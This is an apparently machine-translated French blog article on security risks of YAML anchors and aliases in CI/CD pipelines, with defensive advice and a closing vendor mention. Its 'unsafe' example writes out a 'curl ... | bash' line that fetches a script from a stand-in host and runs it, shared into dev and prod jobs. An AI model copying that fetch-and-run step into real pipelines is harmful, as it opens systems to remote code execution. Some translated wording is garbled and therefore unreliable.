Comment fonctionnent les ancres et les alias YAML dans CI/CD Pipelines
Ancres YAML et les alias sont des outils puissants pour conserver CI/CD pipeline définitions DRY (Don't Repeat Yourself). Les ancres définissent des blocs réutilisables (&ancre), et les alias (*alias) copient leur contenu partout où il est référencé. Cela fonctionne sur des plateformes populaires comme GitHub Actions, GitLab CI et CircleCI.
Voici un exemple simple:
.defaults: &defaults
image: node:18
before_script:
- npm install
job1:
<<: *defaults
script:
- npm run test
job2:
<<: *defaults
script:
- npm run build
⚠️ Exemple non sécurisé, ne pas utiliser en production
Bien que les modèles YAML d'ancrage comme celui-ci améliorent la maintenabilité, ils peuvent également faire abstraction du contexte important. CI/CD, où la configuration est du code, les ancres et les alias YAML peuvent propager silencieusement des valeurs par défaut non sécurisées, sans que les développeurs ne réalisent ce qui est hérité.
Risques de sécurité cachés dans les structures YAML d'ancrage
Le problème avec eux Ce n'est pas la syntaxe qui compte, mais la façon dont ils sont utilisés (ou mal utilisés). Les paramètres de sécurité, comme les autorisations trop larges, les validations ignorées ou les secrets codés en dur, peuvent être intégrés à une ancre et réutilisés partout.
Exemple :
.unsafe: &unsafe
script:
- curl http://insecure.example.com/setup.sh | bash
rules:
- when: always
job-dev:
<<: *unsafe
job-prod:
<<: *unsafe
Cette ancre (&dangereux) contient un élément non sécurisé boucle | bash Modèle injecté dans plusieurs tâches. Si une seule tâche aurait dû avoir une validation ou une gestion de secret différente, elle est désormais compromise. YAML d'Anchors structures il est facile de rater cette erreur lors des révisions.
Comment une ancre YAML mal configurée peut exposer la chaîne d'approvisionnement
Un seul mal configuré Ancre YAML peut diffuser une logique non sécurisée sur plusieurs pipelines. Lorsque des alias sont utilisés sans documentation claire ni visibilité, il est facile d'hériter de comportements dangereux de manière involontaire.
Considérez ce scénario:
- A .ci-modèles repo définit des ancres partagées pour construire, déployer et tester.
- Les projets impliquant plusieurs équipes utilisent <<: *étape de construction sans en examiner le contenu.
- Plus tard, quelqu’un modifie l’ancre pour ignorer la vérification de la signature pour les dépendances.
Maintenant, chaque consommateur pipeline hérite de cette logique non sécurisée. C'est un classique risque de la chaîne d'approvisionnement des logiciels: modèles non sécurisés répliqués silencieusement via Ancres et alias YAML.
Ces types de vulnérabilités ne sont pas toujours détectés lors des revues de code traditionnelles. Les abus YAML des ancres se cachent derrière l'aliasing, ce qui CI/CD logique non transparente.
Détection et prévention de l'utilisation non sécurisée des ancres
Pour réduire les risques liés aux ancres YAML, implémentez la validation à plusieurs niveaux :
- CI/CD Linters: Utilisez des linters compatibles YAML qui développent les ancres et les alias YAML avant l'analyse. Exemple : actionlint pour les actions GitHub ou les linters personnalisés pour GitLab.
- Outils d'analyse de configuration:Utilisez des outils capables d'analyser et d'analyser la logique YAML pour détecter les modèles à haut risque.
- Examiner les différences après l'extension: Certaines plateformes permettent de visualiser les compilations pipeline. Vérifiez toujours le YAML étendu, pas seulement le fichier source.
- Guardrails: Mettre en place des politiques pour bloquer les configurations non sécurisées comme des commandes shell non restreintes ou des téléchargements de scripts non validés.
Sécurisation des ancres YAML dans DevSecOps Pipelines
Bonnes pratiques pour une utilisation sécurisée de ancres et alias consistent à
- Gardez les ancres au minimumÉvitez de regrouper trop de responsabilités dans une seule ancre. Divisez la logique en ancres distinctes et clairement nommées.
- Utiliser des définitions de poste explicites là où les limites de sécurité sont importantes, en particulier entre les étapes de développement et de production.
- Évitez de réutiliser les ancres dans différents environnements sauf si nécessaire. Définissez des ancres distinctes pour le développement, la préparation et la production.
- Modèles d'analyse et chaînes d'héritage en centralisé CI/CD dépôts de configuration.
N'intégrez jamais de secrets dans une ancre. Toujours les ramener en toute sécurité.
Conclusion
Les ancres et alias YAML sont de puissants moteurs de productivité, mais mal gérés, ils représentent un risque direct pour la chaîne d'approvisionnement. Ils peuvent propager silencieusement des valeurs par défaut non sécurisées, affaiblir l'isolation des étapes et obscurcir la logique critique de votre système. CI/CD pipelines.
Sécuriser pipelines'appuie sur des structures d'ancrage YAML, renforce la visibilité, limite la réutilisation des ancres et traite CI/CD Les configurations doivent être examinées avec la même attention que le code de l'application. Les ancres mal utilisées ne sont pas seulement un problème de style ; elles constituent une surface d'attaque. Des outils comme Xygéni peut détecter les ancres mal utilisées, bloquer les modèles dangereux et donner aux équipes une visibilité complète sur les ancres héritées CI/CD logique, avant que le code non sécurisé n'atteigne la production.
